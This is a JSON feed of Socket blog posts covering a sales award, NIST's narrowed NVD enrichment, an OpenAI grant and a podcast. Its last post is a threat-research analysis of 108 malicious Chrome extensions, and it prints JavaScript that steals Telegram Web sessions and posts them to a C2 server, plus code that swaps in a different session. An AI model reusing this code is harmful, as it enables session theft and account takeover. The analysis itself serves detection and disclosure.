{"version":"https://jsonfeed.org/version/1","title":"Socket","home_page_url":"https://socket.dev/blog","feed_url":"https://socket.dev/api/blog/feed.json","description":"Socket fights vulnerabilities and provides visibility, defense-in-depth, and proactive supply chain protection for JavaScript, Python, and Go dependencies.","icon":"https://socket.dev/webmanifest/icon-512x512.png","favicon":"https://socket.dev/favicon-32x32.png","author":{"name":"Socket","url":"https://socket.dev","avatar":"https://socket.dev/webmanifest/icon-512x512.png"},"items":[{"id":"https://socket.dev/blog/socket-named-top-sales-organization-by-repvue","url":"https://socket.dev/blog/socket-named-top-sales-organization-by-repvue?utm_medium=feed","title":"Socket Named Top Sales Organization by RepVue","content_html":"<p>Socket has been named a 2026 Reppy Award recipient by RepVue in two categories: <a href=\"https://www.repvue.com/awards/winners/2026/small\"  target=\"_blank\">Small Companies</a> and <a href=\"https://www.repvue.com/awards/winners/2026/venture-capital-backed\"  target=\"_blank\">Venture Capital Backed Companies</a>. RepVue is the leading platform for B2B sales reps to rate their own employers, with more than 225,000 users, and Reppys recognize top-rated sales organizations based on employee ratings across categories like Culture &amp; Leadership, Compensation, and Product-Market Fit.</p><p>Socket earned a RepVue Score of 94.25, placing us in the top 5% of all companies on the platform. In Culture and Leadership, Socket ranked in the 98th percentile of software organizations (#34 of 3,091). In Product-Market Fit, Socket ranked #38 of 3,091.</p><p>The recognition reflects what our sales team has been building: a culture rooted in curiosity, collaboration, and technical depth. That culture shows up in how people grow here. We sat down with Alexandra Lister, who was recently promoted from SDR to Account Executive.</p><p><strong>Q&amp;A with Alexandra Lister, Account Executive</strong></p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/a78b71ceb2c74d81d96988ac151dc83c0dc09ce7-2853x2549.jpg?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p>Alexandra Lister - Account Executive</p></figcaption>\n</figure><p><strong>Getting promoted from SDR to AE is a big milestone. What was your most powerful learning in the process?</strong></p><p>Taking the time to understand how we&#x27;re adding value for prospects and customers, asking better questions, and connecting what we do to the real problems they&#x27;re dealing with.</p><p><strong>What advice would you give someone applying to a sales role at Socket?</strong></p><p>Be curious and ready to learn. Security is technical, so the people who succeed here are the ones who ask a lot of questions, take initiative, and aren&#x27;t afraid to admit when they don&#x27;t know something. Being coachable goes a long way.</p><p><strong>What do you think makes Socket a great sales organization?</strong></p><p>Everyone is collaborative. People share what&#x27;s working, help each other think through deals, and there&#x27;s a lot of openness around learning. That makes a huge difference when you&#x27;re selling something technical, because you&#x27;re never figuring it out alone.</p><p><strong>What song is on repeat on your playlist right now?</strong></p><p>&quot;Ring My Bell&quot; by Anita Ward. I&#x27;ve been in my disco era lately.</p><p><strong>We&#x27;re hiring.</strong></p><p>Socket is hiring across the sales org, and we&#x27;re growing fast. If you want to be part of a top-performing team securing the world&#x27;s software supply chains, check out our <a href=\"https://socket.dev/careers\"  target=\"_blank\">open roles</a>.</p>","summary":"Socket won two 2026 Reppy Awards from RepVue, ranking in the top 5% of all sales orgs. AE Alexandra Lister shares what it's like to grow a sales career here.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/6f725e911538034f44bfdc15062ec3d24718cbe3-1536x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/6f725e911538034f44bfdc15062ec3d24718cbe3-1536x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-17T22:51:18.893Z","author":{"name":"Sarah Gooding"},"tags":["Company News"]},{"id":"https://socket.dev/blog/nist-officially-stops-enriching-most-cves","url":"https://socket.dev/blog/nist-officially-stops-enriching-most-cves?utm_medium=feed","title":"NIST Officially Stops Enriching Most CVEs as Vulnerability Volume Skyrockets","content_html":"<p>NIST is moving to a risk-based enrichment model for the National Vulnerability Database, formally abandoning its longstanding goal of analyzing every submitted CVE. Starting immediately, the NVD will only enrich vulnerabilities that appear in CISA&#x27;s Known Exploited Vulnerabilities (KEV) catalog, software used by the federal government, or software designated as critical under Executive Order 14028. Everything else gets labeled &quot;Not Scheduled.&quot;</p><p>The <a href=\"https://www.nist.gov/news-events/news/2026/04/nist-updates-nvd-operations-address-record-cve-growth\"  target=\"_blank\">announcement</a> came during VulnCon, where NVD leadership presented the changes before the official press release dropped. Within minutes, the security community was reacting.</p><h2 id=\"CVE-Submissions-Are-Outpacing-NIST's-Capacity\">\n  CVE Submissions Are Outpacing NIST&#x27;s Capacity\n  <a href=\"#CVE-Submissions-Are-Outpacing-NIST's-Capacity\" class=\"anchor\">#</a>\n</h2><p>NIST attributed the policy change directly to volume. &quot;This change is driven by a surge in CVE submissions, which increased 263% between 2020 and 2025,&quot; the agency wrote in its announcement. &quot;We don&#x27;t expect this trend to let up anytime soon. Submissions during the first three months of 2026 are nearly one-third higher than the same period last year.&quot;</p><p>The agency was also explicit that its own output, while up sharply, still isn&#x27;t keeping pace. &quot;We are working faster than ever. We enriched nearly 42,000 CVEs in 2025 — 45% more than any prior year,&quot; NIST wrote. &quot;But this increased productivity is not enough to keep up with growing submissions.&quot;</p><p>Vulnerability historian Brian Martin, who has tracked NVD&#x27;s operational decline closely, <a href=\"https://www.linkedin.com/posts/attritionorg_looks-like-nvd-changed-their-status-widget-activity-7450215277323059200-Zdvt\"  target=\"_blank\">commented</a> on changes to the backlog, noting that the database quietly reshuffled its numbers ahead of the announcement. </p><p>&quot;NVD just gave up on 29,000 more vulnerabilities,&quot; Martin wrote on LinkedIn, documenting how the agency moved vulnerabilities out of &quot;Deferred&quot; status and into &quot;Not Scheduled&quot; to reduce the visible backlog from over 33,000 to roughly 4,000. &quot;Remember: 2024 VulnCon, Tanya Brewer said the backlog would be done by Sep 2024 too!&quot;</p><img\n  alt=\" \"\n  loading=\"lazy\"\n  src=\"https://cdn.sanity.io/images/cgdhsj6q/production/01c9b5bd014ef581abd9355d85e524d56be5bfb9-524x391.png?w=1600&q=95&fit=max&auto=format\"\n/><p>Martin has been characteristically blunt about the resource problem. &quot;The budget they have to do this work is disgusting and there is an incredible amount of inefficiency if they can&#x27;t enrich with so little metadata,&quot; he wrote. &quot;The VulnDB team enriched a lot more for every vulnerability for a fraction of the cost. Demand better.&quot;</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/02d1b69dd759ef85abee2251d04b07904f9eedcd-1387x753.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p>NVD Dashboard - 4/17/2026</p></figcaption>\n</figure><p>All pre-March 2026 backlogged CVEs will be moved to &quot;Not Scheduled&quot; in batches over the next two weeks, per NIST&#x27;s announcement. The agency says users can email nvd@nist.gov to request enrichment of specific unscheduled CVEs, which will be reviewed &quot;as resources allow.&quot;</p><p>Michelangelo Sidagni, CTO at NopSec, questioned the logic of tying enrichment so tightly to KEV. &quot;In essence delegating the prioritization of vulnerabilities to CISA,&quot; he <a href=\"https://www.linkedin.com/feed/update/urn:li:activity:7450244295925661696?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7450244295925661696%2C7450293892370935808%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287450293892370935808%2Curn%3Ali%3Aactivity%3A7450244295925661696%29\"  target=\"_blank\">commented</a> on LinkedIn. &quot;What about all other vulnerabilities that are exploited in the wild but did not make it to the CISA KEV?&quot;</p><p>It&#x27;s a legitimate question. KEV is deliberately conservative. As of earlier this week, Martin clocked CISA&#x27;s KEV at 1,559 vulnerabilities and VulnDB at over 7,000 with known exploitation, much of it longstanding cases that were always exploited but not previously cataloged. Either way, thousands of actively exploited vulnerabilities sit outside KEV, and under the new policy, outside enrichment too.</p><h2 id=\"\"Not-Scheduled\"-Means-Unusable-Data\">\n  &quot;Not Scheduled&quot; Means Unusable Data\n  <a href=\"#\"Not-Scheduled\"-Means-Unusable-Data\" class=\"anchor\">#</a>\n</h2><p>Enrichment is what makes a CVE entry usable. Without it, there&#x27;s no CVSS severity score, and no Common Platform Enumeration (CPE) data linking the vulnerability to specific products. CPE is what allows security tools to programmatically match a CVE to software in an environment. Without it, the data can&#x27;t be operationalized.</p><p>Immanuel Chavoya, founder of RiskHorizon AI, <a href=\"https://www.linkedin.com/feed/update/urn:li:activity:7450244295925661696?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7450244295925661696%2C7450256287818264577%29&replyUrn=urn%3Ali%3Acomment%3A%28activity%3A7450244295925661696%2C7450270690668122112%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287450256287818264577%2Curn%3Ali%3Aactivity%3A7450244295925661696%29&dashReplyUrn=urn%3Ali%3Afsd_comment%3A%287450270690668122112%2Curn%3Ali%3Aactivity%3A7450244295925661696%29\"  target=\"_blank\">commented</a> in the discussion on Martin&#x27;s post that CPEs are a particular problem because &quot;we&#x27;re stuck with them&quot; and NVD remains the authoritative source, not the vendors themselves.</p><p>NIST is also changing how it handles severity scoring going forward. The agency will no longer provide its own CVSS score when the CVE Numbering Authority (CNA) that submitted the CVE has already provided one. This shift to CNA-provided scores comes with its own complications. </p><p>Jerry Gamblin, principal engineer at Cisco, demonstrated at VulnCon this week that the NVD and GitHub already disagree on CVSS scores for nearly 1,500 CVEs. His Vuln Anarchy tool (renamed to <a href=\"https://rogolabs.github.io/consensus-engine/\"  target=\"_blank\">Consensus Engine</a>), was built through RogoLabs, an open-source lab dedicated to auditing global vulnerability infrastructure. It maps the deltas between the two sources, surfacing cases like CVE-2024-27306 in aiohttp, where GitHub&#x27;s CNA score is 8.2 (High) and NVD&#x27;s is 6.1 (Medium), a 2.1-point gap. </p><p>&quot;That drift is the operational difference between an emergency sprint and a &#x27;we&#x27;ll get to it next month&#x27; ticket,&quot; Gamblin <a href=\"https://www.linkedin.com/posts/jgamblin_vulncon-vulnerabilitymanagement-cybersecurity-activity-7450246194619920384-flx4\"  target=\"_blank\">wrote</a>.</p><img\n  alt=\" \"\n  loading=\"lazy\"\n  src=\"https://cdn.sanity.io/images/cgdhsj6q/production/878e5fd8795a7014dc35ce7f71c44f2f9a928bce-1145x727.png?w=1600&q=95&fit=max&auto=format\"\n/><p>The Consensus tool&#x27;s Conflict Map makes the disagreement visible at a glance. Of 1,567 CVEs where both NVD and GitHub Advisory assigned a score, NVD came in higher 885 times and GitHub came in higher 682 times. The largest single gap was 6.9 points, on CVE-2025-48756. A cluster of cases shows drift of 4.0 points or more, which is the difference between a medium and a critical on the same vulnerability.</p><img\n  alt=\" \"\n  loading=\"lazy\"\n  src=\"https://cdn.sanity.io/images/cgdhsj6q/production/32597d47474f7a95f6392a8e5f70f5e3b1820bd0-1136x773.png?w=1600&q=95&fit=max&auto=format\"\n/><p>NIST&#x27;s new policy says it will stop producing its own CVSS scores when a CNA has already assigned one. The implicit assumption is that CNA scores are good enough to stand alone. The Conflict Map shows they&#x27;re often not aligned with what NVD independently concluded.</p><h2 id=\"AI-Driven-Discovery-Meets-a-Shrinking-NVD\">\n  AI-Driven Discovery Meets a Shrinking NVD\n  <a href=\"#AI-Driven-Discovery-Meets-a-Shrinking-NVD\" class=\"anchor\">#</a>\n</h2><p>Martin tied the NVD situation directly to the recent <a href=\"https://www.anthropic.com/glasswing\"  target=\"_blank\">Anthropic Glasswing / Mythos announcement</a>, where AI-driven vulnerability discovery is being positioned to operate at unprecedented scale.</p><p>The promise is that Mythos can find vulnerabilities faster and at greater volume than human researchers. The concern, as Martin lays out in detail, is that the vulnerability disclosure pipeline has no capacity to absorb that volume. </p><p>&quot;Finding the vulnerability is the very first step in the entire process,&quot; he wrote in a <a href=\"https://jericho.blog/2026/04/15/anthropic-mythos-and-the-dark-reality-no-one-is-talking-about/\"  target=\"_blank\">recent post</a> on his blog. Coordinated disclosure, CVE assignment, NVD enrichment, and patch availability all have to follow, and every one of those stages is already overloaded.</p><p>Martin argues that the actual bottleneck isn&#x27;t discovery. It&#x27;s everything downstream. &quot;Primarily the CVE and NVD bottlenecks, and they are continuing to be the bigger problem. When you look at all of this in the bigger picture, from discovery to disclosure to operationalizing the data, that is the vulnerability disclosure pipeline.&quot;</p><p>The NVD is formalizing its retreat from comprehensive enrichment precisely as a major new source of vulnerability discovery is being spun up. Whether Mythos-discovered CVEs get enriched will depend on how NIST interprets its new criteria, particularly what counts as &quot;software used within the federal government.&quot; The announcement didn&#x27;t define it.</p><p>Tom Alrich, who leads the OWASP SBOM Forum and Vulnerability Database Working Group projects, pointed to a January announcement from NIST signaling a shift of enrichment responsibility toward CNAs and <a href=\"https://www.linkedin.com/feed/update/urn:li:activity:7450215277323059200?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7450215277323059200%2C7450288831884365825%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287450288831884365825%2Curn%3Ali%3Aactivity%3A7450215277323059200%29\"  target=\"_blank\">commented</a> on the contradiction: &quot;After years of throwing out CVSS scores and CPE names created by CNAs, they now are &#x27;shifting responsibility&#x27; to them!&quot;</p><p>Ruben Bos, co-founder of Volerion, which uses AI to enrich CVEs automatically, said the announcement confirms what practitioners have been watching build for some time. &quot;Public enrichment data was already delayed or missing,&quot; he said. &quot;But this update just confirms that it&#x27;s only getting worse. Absurd how manual analysis is still the main source of enrichment these days.&quot;</p><h2 id=\"NIST's-Annual-Automation-Pitch-Arrives-With-Another-Backlog-Reshuffle\">\n  NIST&#x27;s Annual Automation Pitch Arrives With Another Backlog Reshuffle\n  <a href=\"#NIST's-Annual-Automation-Pitch-Arrives-With-Another-Backlog-Reshuffle\" class=\"anchor\">#</a>\n</h2><p>The database that security products have been built on for decades is formally narrowing its scope. Teams that haven&#x27;t already built tooling around alternate sources are behind, and this announcement makes that gap official.</p><p>&quot;The days of relying on a single, centralized source for all enriched data are over,&quot; Gamblin said. &quot;We have to get better at decentralized data and independent analysis.&quot;</p><p>NIST framed the changes as a step toward long-term sustainability, citing plans to develop automated systems and workflow improvements. No timeline was provided, and that&#x27;s the pattern we&#x27;ve seen following previously missed deadlines. Automation has been on NIST&#x27;s public roadmap <a href=\"https://socket.dev/blog/nvd-backlog-tops-20-000-cves\"  target=\"_blank\">since at least 2024</a>. At <a href=\"https://socket.dev/blog/vulncon-2025-nvd-scraps-consortium-plan\"  target=\"_blank\">VulnCon 2025</a>, the agency described pilot automation tools for Linux kernel enrichment and &quot;research into machine learning and AI-backed methods.&quot; Timelines and <a href=\"https://socket.dev/blog/nvd-backlog-crisis-deepens-amid-surging-cve-disclosures\"  target=\"_blank\">specifics</a> have <a href=\"https://socket.dev/blog/nist-misses-2024-deadline-to-clear-nvd-backlog\"  target=\"_blank\">consistently been missing</a>.</p><p>Over the past two years, the backlog has been <a href=\"https://socket.dev/blog/nvd-quietly-sweeps-100k-cves-into-a-deferred-black-hole\"  target=\"_blank\">relabeled repeatedly</a>. CVEs have been moved between &quot;Awaiting Analysis,&quot; &quot;Undergoing Analysis,&quot; &quot;Deferred,&quot; and now &quot;Not Scheduled,&quot; <a href=\"https://socket.dev/blog/nvd-backlog-crisis-deepens-amid-surging-cve-disclosures\"  target=\"_blank\">each shift</a> reducing the visible backlog without reducing the actual work.</p><p>Meanwhile, the volume pressure on the pipeline is only going to grow. CVE assignment and NVD enrichment are already operating past their limits, and vendor patch response varies widely. Martin contends that the current pipeline is not prepared for the additional strain from an influx of AI-driven disclosures.</p><p>&quot;If it even contributes to disclosures by a factor of 25%, it&#x27;s already going to be just as harmful to organizations as helpful,&quot; he said. </p><p>&quot;If it introduces a factor of 200% then you might as well begin Googling on how to start a goat sanctuary or learn basket weaving. Because you sure as hell won&#x27;t want to live the InfoSec life any longer.&quot;</p>","summary":"NIST will stop enriching most CVEs under a new risk-based model, narrowing the NVD's scope as vulnerability submissions continue to surge.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/499924f556e53fa8a7e24db18a0cc0c2060966e2-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/499924f556e53fa8a7e24db18a0cc0c2060966e2-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-17T05:44:06.105Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/openai-cybersecurity-grant-program","url":"https://socket.dev/blog/openai-cybersecurity-grant-program?utm_medium=feed","title":"Socket Selected for OpenAI's Cybersecurity Grant Program","content_html":"<p>OpenAI has named Socket as one of the initial recipients of its <a href=\"https://openai.com/index/accelerating-cyber-defense-ecosystem/\"  target=\"_blank\">Cybersecurity Grant Program</a>, a new initiative that commits $10 million in API credits to support organizations advancing cybersecurity defense.</p><p>The grant comes alongside access to more cyber-permissive frontier models through <a href=\"https://openai.com/index/scaling-trusted-access-for-cyber-defense/\"  target=\"_blank\">Trusted Access for Cyber</a>, OpenAI&#x27;s new identity-based framework for defensive acceleration.</p><p>Both programs select for trusted defenders with a proven track record in identifying and remediating vulnerabilities across open source software and critical infrastructure. Fellow recipients include Semgrep, Calif, and Trail of Bits.</p><h2 id=\"Supporting-Real-World-Defense\">\n  Supporting Real-World Defense\n  <a href=\"#Supporting-Real-World-Defense\" class=\"anchor\">#</a>\n</h2><p>Socket uses OpenAI&#x27;s models inside our malicious package detection pipeline, which analyzes every package and version published to npm, PyPI, and other major registries in near real time. When a package goes live, our system evaluates its code, behavior, metadata, and publishing patterns to assess risk and flag anything that looks like a supply chain attack.</p><p>The advantage of frontier models in this pipeline is speed. When attackers ship a malicious package, the window to catch it before downstream projects pull it in is small, often measured in minutes. AI-assisted analysis lets us flag suspicious behavior at a scale human review alone cannot touch.</p><p>That pipeline is what allowed Socket to identify the malicious package used in the <a href=\"https://socket.dev/blog/axios-npm-package-compromised\"  target=\"_blank\">Axios compromise</a> within six minutes of publication. Defensive AI enables that kind of turnaround, and it is how we protect our users and the open source ecosystem.</p><h2 id=\"Frontier-Models-Make-Open-Source-Defense-Possible-at-Scale\">\n  Frontier Models Make Open Source Defense Possible at Scale\n  <a href=\"#Frontier-Models-Make-Open-Source-Defense-Possible-at-Scale\" class=\"anchor\">#</a>\n</h2><p>Supply chain attacks on open source have gotten faster and more automated over the past two years. High-volume package publishing, AI-assisted malware authoring, and credential theft campaigns targeting maintainers have compressed the time between compromise and impact. </p><p>Frontier models give defenders a way to close that gap. The asymmetry that favored attackers for most of the past decade is starting to even out, and the open source ecosystem is the direct beneficiary.</p><p>Socket has been investing in this approach since before these programs existed. The OpenAI partnership extends our ability to apply frontier capabilities across the pipeline, from malicious package detection to <a href=\"https://socket.dev/blog/certified-patches\"  target=\"_blank\">Certified Patches</a>, which allow for rapid, surgical fixes to known vulnerabilities in open source dependencies.</p><h2 id=\"Building-With-the-Ecosystem\">\n  Building With the Ecosystem\n  <a href=\"#Building-With-the-Ecosystem\" class=\"anchor\">#</a>\n</h2><p>The Cybersecurity Grant Program and Trusted Access for Cyber are part of a coalition of defenders working together on AI-assisted security. Enterprises supporting the broader effort include Bank of America, BlackRock, BNY, Citi, Cisco, CrowdStrike, Goldman Sachs, JPMorgan Chase, Morgan Stanley, NVIDIA, Oracle, and Zscaler.</p><p>Programs like these create a feedback loop between frontier model development and real-world defensive use cases. For Socket, that means continuing to improve detection and mitigation across the open source ecosystem, at greater speed, accuracy, and coverage. We will keep working with OpenAI and the broader defender community to push that boundary further.</p>","summary":"Socket is an initial recipient of OpenAI's Cybersecurity Grant Program, which commits $10M in API credits to defenders securing open source software. ","image":"https://cdn.sanity.io/images/cgdhsj6q/production/1954f9b570fe92fb9fd0963f4b5d0c2fc4cbbf8c-1536x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/1954f9b570fe92fb9fd0963f4b5d0c2fc4cbbf8c-1536x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-16T19:37:29.823Z","author":{"name":"Sarah Gooding"},"tags":["Company News","Security News"]},{"id":"https://socket.dev/blog/feross-10-minutes-or-less-podcast-nobody-reads-the-code","url":"https://socket.dev/blog/feross-10-minutes-or-less-podcast-nobody-reads-the-code?utm_medium=feed","title":"Feross on the 10 Minutes or Less Podcast: Nobody Reads the Code","content_html":"<p>In the past few weeks alone, we’ve seen a surge in supply chain attacks, increasingly sophisticated social engineering, and even nation-state actors targeting maintainers. What used to feel like a niche concern is now a daily reality for teams building with open source.</p><p>In this conversation, Socket CEO Feross Aboukhadijeh joins <a href=\"https://www.youtube.com/@10minutesorlesswithalirohde\"  target=\"_blank\"><em>10 Minutes or Less</em></a>, a podcast by <a href=\"https://www.alirohde.com/\"  target=\"_blank\">Ali Rohde</a>, General Partner at Outset Capital, to break down what’s happening right now, from how the Axios backdoor attack unfolded to why traditional security approaches are struggling to keep up.</p><p>If you’ve been following these incidents on the Socket blog, this conversation dips into the broader context behind them and where things may be heading next.</p><p><strong>Topics they cover:</strong></p><ul><li>How the Axios backdoor unfolded and what it revealed about maintainer vulnerability</li><li>How AI is reshaping both attacks and defenses</li><li>Why modern software depends on code no one has time to review</li><li>The tragedy of the commons problem at the heart of open source sustainability</li><li>What open source might look like in five years as AI agents flood maintainer inboxes</li></ul><p>Check out the full episode below:</p><div style=\"position: relative; width: 100%; height: 0; padding-bottom: 56.25%; overflow: hidden; max-width: 100%;\">\n  <iframe\n    style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%;\"\n    src=\"https://www.youtube.com/embed/JPLX3mcd3UM\"\n    frameborder=\"0\"\n    allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\"\n    allowfullscreen\n  ></iframe>\n</div>","summary":"Socket CEO Feross Aboukhadijeh joins 10 Minutes or Less, a podcast by Ali Rohde, to discuss the recent surge in open source supply chain attacks.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/accb7550416c4f65e7b42e661ff5361a697df5f7-752x423.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/accb7550416c4f65e7b42e661ff5361a697df5f7-752x423.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-14T19:26:57.232Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/108-chrome-ext-linked-to-data-exfil-session-theft-shared-c2","url":"https://socket.dev/blog/108-chrome-ext-linked-to-data-exfil-session-theft-shared-c2?utm_medium=feed","title":"108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure","content_html":"<p>Socket&#x27;s Threat Research Team identified 108 malicious Chrome extensions operating as a coordinated campaign under a shared C2 infrastructure at <code>cloudapi[.]stream</code>. The extensions are published under five distinct publisher identities (Yana Project, GameGen, SideGames, Rodeo Games, and InterAlt) and collectively account for approximately 20k Chrome Web Store installs. All 108 route stolen credentials, user identities, and browsing data to servers controlled by the same operator. The extensions remain live at the time of writing. We have submitted takedown requests to the Chrome Web Store security team and Google Safe Browsing.</p><p>The campaign spans several threat categories across 108 extensions:</p><ul><li><strong>54 extensions</strong> steal Google account identity via OAuth2</li><li><strong>1 extension</strong> actively exfiltrates Telegram Web sessions every 15 seconds</li><li><strong>1 extension</strong> includes staged infrastructure for Telegram session theft (not yet activated)</li><li><strong>2 extensions</strong> strip YouTube security headers and inject ads</li><li><strong>1 extension</strong> strips TikTok security headers and injects ads</li><li><strong>2 extensions</strong> inject content scripts into every page the user visits</li><li><strong>1 extension</strong> proxies all translation requests through the threat actor&#x27;s server</li><li><strong>45 extensions</strong> contain a universal backdoor that opens arbitrary URLs on browser start</li></ul><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/703ba2400f1c99589492bd7af9c12ca47b66d6b0-1136x1584.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Socket&#x27;s AI scanner flagging <code>obifanppcpchlehkjipahhphbcbjekfa</code> as known malware with a behavioral summary of the session exfiltration and account takeover mechanism.</em></p></figcaption>\n</figure><h2 id=\"Legitimate-on-the-Surface\">\n  Legitimate on the Surface\n  <a href=\"#Legitimate-on-the-Surface\" class=\"anchor\">#</a>\n</h2><p>The 108 extensions are published across several product categories: Telegram sidebar clients, slot machine and Keno games, YouTube and TikTok enhancers, a text translation tool, and page utility extensions. Each targets a different type of user, but all share the same backend.</p><p>Users installing a Telegram sidebar extension see a functional chat interface. Users installing a slot game get a working game. The legitimate surface exists, but so does malicious code running in the background, connected to a C2 server that can steal identities, exfiltrate sessions, and open arbitrary URLs in the user&#x27;s browser.</p><h2 id=\"Telegram-Session-Theft\">\n  Telegram Session Theft\n  <a href=\"#Telegram-Session-Theft\" class=\"anchor\">#</a>\n</h2><p>The most severe extension in the campaign is <code>Telegram Multi-account</code> (<code>obifanppcpchlehkjipahhphbcbjekfa</code>). It steals the active Telegram Web session from the victim&#x27;s browser and transmits it to <code>tg[.]cloudapi[.]stream/save_session.php</code> every 15 seconds.</p><p><strong>How the theft works:</strong></p><p>The extension injects <a href=\"https://socket.dev/chrome/package/obifanppcpchlehkjipahhphbcbjekfa/files/1.3/content.js#L3\"  target=\"_blank\"><code>content.js</code></a> into <code>https://web.telegram.org/*</code> at <code>document_start</code>. On load, it immediately calls <code>getSessionDataJson()</code>, which serializes the page&#x27;s entire <code>localStorage</code> and extracts the <code>user_auth</code> token used by Telegram Web to authenticate the session. It sends this to the background script via <code>chrome.runtime.sendMessage</code>, which relays it to the C2 server.</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// content.js</span>\n<span class=\"hljs-comment\">// Analyst note: Runs immediately on page load, before the user interacts with anything.</span>\n<span class=\"hljs-keyword\">let</span> getInfo = <span class=\"hljs-title function_\">getSessionDataJson</span>();\n<span class=\"hljs-keyword\">if</span> (getInfo.<span class=\"hljs-property\">user_id</span> !== <span class=\"hljs-literal\">null</span>) {\n    chrome.<span class=\"hljs-property\">runtime</span>.<span class=\"hljs-title function_\">sendMessage</span>({ <span class=\"hljs-attr\">action</span>: <span class=\"hljs-string\">&quot;save_session&quot;</span>, <span class=\"hljs-attr\">data</span>: <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">stringify</span>(getInfo) });\n}</code></pre><p>After the initial theft, a polling loop re-exfiltrates the session indefinitely:</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// content.js</span>\n<span class=\"hljs-comment\">// Analyst note: Sends the full session to the C2 every 15 seconds for the lifetime of the tab.</span>\n<span class=\"hljs-built_in\">setInterval</span>(<span class=\"hljs-title function_\">async</span> () =&gt; {\n    <span class=\"hljs-keyword\">let</span> getInfo = <span class=\"hljs-title function_\">getSessionDataJson</span>();\n    <span class=\"hljs-keyword\">if</span> (getInfo.<span class=\"hljs-property\">user_id</span> !== <span class=\"hljs-literal\">null</span>) {\n        <span class=\"hljs-keyword\">await</span> chrome.<span class=\"hljs-property\">runtime</span>.<span class=\"hljs-title function_\">sendMessage</span>({ <span class=\"hljs-attr\">action</span>: <span class=\"hljs-string\">&quot;save_session&quot;</span>, <span class=\"hljs-attr\">data</span>: <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">stringify</span>(getInfo) });\n    }\n}, <span class=\"hljs-number\">15000</span>);</code></pre><p>The background script (<a href=\"https://socket.dev/chrome/package/obifanppcpchlehkjipahhphbcbjekfa/files/1.3/background.js#L60\"  target=\"_blank\"><code>background.js</code></a>) then POSTs the data to the C2:</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// background.js</span>\n<span class=\"hljs-keyword\">let</span> answr = <span class=\"hljs-keyword\">await</span> <span class=\"hljs-title function_\">postJson</span>(<span class=\"hljs-string\">&#x27;https://tg[.]cloudapi[.]stream/save_session.php&#x27;</span>, {\n    <span class=\"hljs-attr\">uuid</span>: result.<span class=\"hljs-property\">uuid</span>,\n    <span class=\"hljs-attr\">session</span>: xJsonData\n});</code></pre><p><strong>Full account takeover:</strong></p><p>The extension also handles an inbound message (<code>set_session_changed</code>) that performs the reverse operation: it clears the victim&#x27;s localStorage, overwrites it with threat actor-supplied session data, and force-reloads Telegram. This allows the operator to swap any victim&#x27;s browser into a different Telegram account without the victim&#x27;s knowledge.</p><pre><code class=\"hljs javascript\"><span class=\"hljs-comment\">// content.js</span>\n<span class=\"hljs-comment\">// Analyst note: The C2 can push any session data back to the extension.</span>\n<span class=\"hljs-comment\">// This replaces the victim&#x27;s active Telegram session with the threat actor&#x27;s chosen session.</span>\n<span class=\"hljs-keyword\">if</span> (message.<span class=\"hljs-property\">action</span> === <span class=\"hljs-string\">&#x27;set_session_changed&#x27;</span>) {\n    <span class=\"hljs-keyword\">let</span> data = <span class=\"hljs-title class_\">JSON</span>.<span class=\"hljs-title function_\">parse</span>(message.<span class=\"hljs-property\">data</span>);\n    <span class=\"hljs-variable language_\">localStorage</span>.<span class=\"hljs-title function_\">clear</span>();\n    <span class=\"hljs-title function_\">clearAllCookies</span>();\n    <span class=\"hljs-keyword\">for</span> (<span class=\"hljs-keyword\">var</span> k <span class=\"hljs-keyword\">in</span> data) { <span class=\"hljs-variable language_\">localStorage</span>.<span class=\"hljs-title function_\">setItem</span>(k, data[k]); }\n    <span class=\"hljs-built_in\">setTimeout</span>(<span class=\"hljs-function\">() =&gt;</span> { <span class=\"hljs-variable language_\">window</span>.<span class=\"hljs-property\">location</span> = <span class=\"hljs-string\">&quot;https://web.telegram.org/k/?r_=&quot;</span> + <span class=\"hljs-title class_\">Math</span>.<span class=\"hljs-title function_\">random</span>(); }, <span class=\"hljs-number\">500</span>);\n}</code></pre><p>A 30-second heartbeat (<a href=\"https://socket.dev/chrome/package/obifanppcpchlehkjipahhphbcbjekfa/files/1.3/sidepanel.js#L311\"  target=\"_blank\"><code>sidepanel.js</code></a>) polls 